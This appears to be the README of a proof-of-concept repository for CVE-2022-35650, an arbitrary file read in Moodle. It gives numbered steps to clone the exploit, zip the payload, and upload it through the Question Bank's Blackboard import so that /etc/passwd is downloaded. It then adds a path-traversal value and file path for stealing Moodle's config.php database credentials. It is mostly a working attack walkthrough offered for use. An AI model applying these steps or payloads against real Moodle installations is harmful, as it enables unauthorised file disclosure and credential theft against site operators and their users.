CVE-2022-35650

This is an arbitrary file read in Moodle.

Prereqs

You must have compromised a teacher or admin level user.

Steps

1. Clone this repo:

git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git

2. Run this command to zip the exploit up

zip exploit.zip imsmanifest.xml pool.dat

3. Browse to a Course your account has write access over.
4. Navigate to 'Question Bank'
5. Select 'import' from the dropdown
6. Select 'blackboard' as the format
7. Upload 'exploit.zip' from step 2
8. Confirm the upload
9. Click the 'edit' button for the question now listed
10. Select the broken img tag
11. Select the source from the pop-up
12. Browse to the source, and note a file (__passwd) is downloaded
13. The file is the contents of /etc/passwd

Beyond a PoC

If you want to read the config file (with juicy creds), set your baseurl in imsmanifest.xml to this:

../../../../../../../../../../../var/www/html

and your img src in pool.dat to:

muc/config.php